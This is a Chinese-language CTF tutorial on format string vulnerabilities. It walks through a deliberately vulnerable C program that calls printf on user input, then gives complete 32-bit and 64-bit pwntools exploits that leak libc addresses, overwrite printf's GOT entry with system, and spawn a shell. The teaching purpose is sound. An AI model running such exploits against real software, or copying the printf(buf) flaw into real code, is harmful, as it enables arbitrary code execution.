格式化字符串漏洞是一个经典的 pwn 类型漏洞,入门文章很多,例如如下博客
- 格式化字符串漏洞小总结(上) - 先知社区 (aliyun.com)
- 原理介绍 - CTF Wiki (ctf-wiki.org)
- Linux 二进制漏洞挖掘入门系列之(四)格式化字符串漏洞_\x04 x80_江下枫的博客-CSDN博客
我们这里以一个实际案例为例,总结一下如何利用格式化字符串漏洞实现任意地址读写,如果你想知道格式化字符串的一些细节,可以先参考上面的博客。
简单回顾
格式化字符串的基本格式
%[parameter][flags][field width][.precision][length]type
与漏洞相关的特性
- [paramter]
num$
,获取格式化字符串中的指定参数,例如%x
是打印第一个参数,则%2$x
是打印第二个参数,即使printf
没有写第 2 个参数,实际此函数也会自动从栈上取一个参数。
任意地址读
基本格式: addr%num$s
任意地址写
基本格式: addr%num$n
栈布局
要理解格式化字符串漏洞,一定要先理解所在函数的栈布局,例如对于下面的代码
gets(buf);
printf(buf);
调用 printf/scanf
所在函数(main
)栈布局,下图适用于一般的格式化字符串漏洞
┌────────────────────┐
│ │
L ┌──────────┴──────────┐ ▼
sp────────►│ format │ printf(format, arg1, arg2)
├─────────────────────┤ │ │ │
▲ │ arg1 │◄────────┼───────┘ │
│ ├─────────────────────┤ │ │
│ │ arg2 │◄────────┼──────────────┘
│ ├─────────────────────┤ │
│ │ │ │
│ │ │ │
│ │ │ │
11$ │ │ │
│ │ │
│ │ │ │
│ │ │ │
│ │ │ │
│ │ │ │
▼ ├─────────────────────┤ │
─────────┤ buf-input │◄────────┘
├─────────────────────┤
│ │
├─────────────────────┤
│ │
│ │
│ │
H └─────────────────────┘
漏洞案例
目标程序源代码 pwnme.c
,非常简单,就是循环读取用户输入,并且直接输出,这是一个最为典型的格式化字符串漏洞
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char const *argv[])
{
char buf[0x101];
int i;
for (i = 0; i < 0x10; ++i) {
memset(buf, 0, sizeof(buf));
read(0, buf, sizeof(buf));
printf(buf);
}
return 0;
}
本题目标是让用户利用格式化字符串漏洞完成地址泄露,修改 GOT 表,拿到 shell,因此需要关闭 RELRO
安全编译选项。本题还有个坑点在于 buf 没有 4B 对齐。
- NX:
-z execstack / -z noexecstack
(关闭 / 开启) 不让执行栈上的数据,于是JMP ESP就不能用了 - Canary:
-fno-stack-protector /-fstack-protector / -fstack-protector-all
(关闭 / 开启 / 全开启) 栈里插入cookie信息 - PIE:
-no-pie / -pie
(关闭 / 开启) 地址随机化,另外打开后会有get_pc_thunk - RELRO:
-z norelro / -z lazy / -z now
(关闭 / 部分开启 / 完全开启) 对GOT表具有写权限
编译
# 32位
gcc pwnme.c -z norelro -m32 -o pwnme_32
# 64位
gcc pwnme.c -z norelro -o pwnme_64
32 位 EXP
1 泄露 libc 基地址
由于目标程序开了地址随机化,因此需要泄露 libc
基址。格式化字符串漏洞允许我们将整个栈上的数据都泄露出来。
-
在
main
函数调用printf
的地方设置断点,查看此时栈空间,发现printf
的第 4 个参数(格式化字符串的第 3 个参数)指向目标程序<main+30>
的位置,因此利用这个参数即可泄露程序加载的基址。 -
或者直接输入
%x.%x.%x...
类似的语句,将整个栈数据都打印出来,观察上面的数据是否与地址相关的。
───────────────────────────────────────────────────────────────────── stack ────
0xffffcf80│+0x0000: 0xffffcfab → "AAAA.%p.%p.%p.%p.%p.%p.%p\n" ← $esp
0xffffcf84│+0x0004: 0xffffcfab → "AAAA.%p.%p.%p.%p.%p.%p.%p\n"
0xffffcf88│+0x0008: 0x00000101
0xffffcf8c│+0x000c: 0x5655624b → <main+30> add ebx, 0x2d81
0xffffcf90│+0x0010: 0x00000340
0xffffcf94│+0x0014: 0x00000340
0xffffcf98│+0x0018: 0x00000340
0xffffcf9c│+0x001c: 0xffffd164 → 0xffffd325 → "/home/tom/Documents/ctf/formatstring/pwnme_32"
泄露完程序基址,再利用任意地址读,读取目标程序 got
表中任意一个已经使用过的导出函数的地址,即可泄露 libc
基址。
- ★ 任意地址读需要知道格式化字符串指针到实际存储的内容*也就是用户输入之间的长度,上文提到的栈布局中,
11$
,其实就是输入AAAA.%11$x
,输出AAAA.414141
,这么得来的*
# 1.0 leak binary base address
payload = '%3$x'
sh.sendline(payload)
main_30_addr = int(sh.recvuntil('\n', drop=True), 16)
pwn_base = main_30_addr - 0x0000124B
info('binary base address: 0x%x' % pwn_base)
# 1.1 leak libc base address
read_got_real = pwn_base + pwn_elf.got['read']
payload = b'B' + p32(read_got_real) + b'%11$s'
sh.sendline(payload)
sh.recvuntil(p32(read_got_real)) # sh.recv(5)
libc_read = sh.recv(4)
#sh.recvuntil('\n')
libc_base = u32(libc_read) - libc_elf.sym['read']
info('libc base address: 0x%x' % libc_base)
2 覆写 got 表导出函数
格式化字符串 %n
默认写入 4B,如果想写入大数据,会导致十分不稳定,因此利用格式化字符串漏洞的实际任意地址写,我们通常一次性写入一个或两个字节,而非四个字节
%hhn
对于整数类型,printf
期待一个从 char 提升的 int 尺寸的整型参数%hn
对于整数类型,printf
期待一个从 short 提升的 int 尺寸的整型参数%n
写入整型
★ 逐字节写,这里需要仔细揣摩如下案例,假设我们想覆盖 3B,需要写入 3 次,我们写入的格式化字符串 payload 长度最大不超过 12*3+1
,为了补齐,使用 ljust
填充到该长度。格式化字符串 %{}c%20$hhn
顾名思义,将格式化字符串的第 20 个参数写入 low1
。而如下的 paylod,第 20 个参数(11+12*3/4 = 20
)存放的是 printf_got
地址
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 8 * 2 & 0xff
payload = b'B' + '%{}c%20$hhn'.format(low1 - 1).encode()
payload += '%{}c%21$hhn'.format((low2 - low1 + 0x100) % 0x100).encode()
payload += '%{}c%22$hhn'.format((low3 - low2 + 0x100) % 0x100).encode()
payload = payload.ljust(12 * 3 + 1, b'A')
payload += p32(printf_got) + p32(printf_got + 1) + p32(printf_got + 2)
完整 exp
from pwn import *
sh = process('./pwnme_32')
libc_elf = ELF('/lib32/libc.so.6')
pwn_elf = ELF('./pwnme_32')
context(log_level='info')
# gdb.attach(sh)
# 1.0 leak binary base address
payload = '%3$x'
sh.sendline(payload)
main_30_addr = int(sh.recvuntil('\n', drop=True), 16)
pwn_base = main_30_addr - 0x0000124B
info('binary base address: 0x%x' % pwn_base)
# 1.1 leak libc base address
read_got_real = pwn_base + pwn_elf.got['read']
payload = b'B' + p32(read_got_real) + b'%11$s'
sh.sendline(payload)
sh.recvuntil(p32(read_got_real)) # sh.recv(5)
libc_read = sh.recv(4)
#sh.recvuntil('\n')
libc_base = u32(libc_read) - libc_elf.sym['read']
info('libc base address: 0x%x' % libc_base)
# 2 write
sys_addr = libc_base + libc_elf.sym['system']
printf_got = pwn_base + pwn_elf.got['printf']
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 8 * 2 & 0xff
payload = b'B' + '%{}c%20$hhn'.format(low1 - 1).encode()
payload += '%{}c%21$hhn'.format((low2 - low1 + 0x100) % 0x100).encode()
payload += '%{}c%22$hhn'.format((low3 - low2 + 0x100) % 0x100).encode()
payload = payload.ljust(12 * 3 + 1, b'A')
payload += p32(printf_got) + p32(printf_got + 1) + p32(printf_got + 2)
# pause()
sh.sendline(payload)
64 位 EXP
与 32 位有所不同的是,64 位传参,优先使用寄存器作为函数的参数(rdi, rsi, rdx, rcx, r8, r9
),因此,占满以后第 7 个参数才会存放在栈上。
1 泄露 libc 基址
在调用 printf
的地方下断点,没有发现栈上存储了程序基址相关的地址
───────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdda0│+0x0000: 0x00007fffffffdfc8 → 0x00007fffffffe328 → "/home/tom/Documents/ctf/formatstring/pwnme_64" ← $rsp
0x00007fffffffdda8│+0x0008: 0x0000000100000340
0x00007fffffffddb0│+0x0010: 0x0000034000000340
0x00007fffffffddb8│+0x0018: 0x0000000c00000340
0x00007fffffffddc0│+0x0020: "AAAABBBB.%10$p\n" ← $rsi, $rdi, $r10
0x00007fffffffddc8│+0x0028: ".%10$p\n"
0x00007fffffffddd0│+0x0030: 0x0000000000000000
0x00007fffffffddd8│+0x0038: 0x0000000000000000
继续查看,发现栈顶偏移 0x150
的地址,存放了 <main>
gef➤ x/gx 0x00007fffffffdda8 + 0x150
0x7fffffffdef8: 0x00005555555551a9
gef➤ xinfo 0x00005555555551a9
──────────────────────────────────────────── xinfo: 0x5555555551a9 ────────────────────────────────────────────
Page: 0x0000555555555000 → 0x0000555555556000 (size=0x1000)
Permissions: r-x
Pathname: /home/tom/Documents/ctf/formatstring/pwnme_64
Offset (from page): 0x1a9
Inode: 1574883
Segment: .text (0x00005555555550c0-0x00005555555552d5)
Offset (from segment): 0xe9
Symbol: main
而 printf
第 4 个参数存放了 libc 相关地址
printf@plt (
$rdi = 0x00007fffffffddc0 → 0x0000000a31313131 ("1111\n"?),
$rsi = 0x00007fffffffddc0 → 0x0000000a31313131 ("1111\n"?),
$rdx = 0x0000000000000101,
$rcx = 0x00007ffff7ed0fd2 → 0x5677fffff0003d48 ("H="?)
)
计算程序和 libc 基址
payload = '%{}$p.%3$p'.format(int(7+0x150/8))
sh.sendline(payload)
ret = sh.recvuntil(b'\n', drop=True).split(b'.')
bin_base = int(ret[0], 16) - 0x11a9
libc_base = int(ret[1], 16) - 0x10dfd2
info('binary base address: 0x%x' % bin_base)
info('libc base address: 0x%x' % libc_base)
2 覆写 got 表导出函数
同样道理,找到格式化字符串参数到实际指针的偏移
输入:AAAABBBB.%10$p
输出:AAAABBBB.0x4242424241414141
与 32 位套路一样,但是注意的是,payload 填充字段必须是 8B 对齐
sys_addr = libc_base + libc_elf.sym['system']
printf_addr = bin_base + bin_elf.got['printf']
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 16 & 0xff
payload = '%{}c%15$hhn'.format(low1).encode()
payload += '%{}c%16$hhn'.format((low2-low1+0x100)%0x100).encode()
payload += '%{}c%17$hhn'.format((low3-low2+0x100)%0x100).encode()
payload = payload.ljust(12 * 3 + 4, b'a') # +4是为了8字节对齐!
payload += p64(printf_addr) + p64(printf_addr+1) + p64(printf_addr+2)
完整 exp
from pwn import *
sh = process('./pwnme_64')
bin_elf = ELF('./pwnme_64')
libc_elf = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
context(log_level='info')
# 1 leak binary and libc base address
payload = '%{}$p.%3$p'.format(int(7+0x150/8))
sh.sendline(payload)
ret = sh.recvuntil(b'\n', drop=True).split(b'.')
bin_base = int(ret[0], 16) - 0x11a9
libc_base = int(ret[1], 16) - 0x10dfd2
info('binary base address: 0x%x' % bin_base)
info('libc base address: 0x%x' % libc_base)
# 2 write
sys_addr = libc_base + libc_elf.sym['system']
printf_addr = bin_base + bin_elf.got['printf']
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 16 & 0xff
payload = '%{}c%15$hhn'.format(low1).encode()
payload += '%{}c%16$hhn'.format((low2-low1+0x100)%0x100).encode()
payload += '%{}c%17$hhn'.format((low3-low2+0x100)%0x100).encode()
payload = payload.ljust(12 * 3 + 4, b'a')
payload += p64(printf_addr) + p64(printf_addr+1) + p64(printf_addr+2)
sh.sendline(payload)
sh.sendline(b'/bin/sh\0')
sh.interactive()
总结
理解格式化字符串漏洞关键还是在于理解栈空间布局,任意地址写初学者接触到可能较为抽象,但是结合栈空间布局以及格式化字符串的原理,详细我们就能对格式化字符串有个更加清晰的认知。如果能够复现上述漏洞案例,那么恭喜你,已经完成了 pwn 格式化字符串漏洞这一旅程。
- 泄露栈空间,计算程序或者
libc
加载基址 (%p.%p.%p
) - 泄露栈空间,找出格式化字符串参数到实际格式化字符指针的距离(
AAAABBBB.%p.%p.%p.%p.%p.%p.%p
) - 任意地址读(
addr%11$s
) - 任意地址写(
'%{}c%11$hhn'.format(index) + addr
)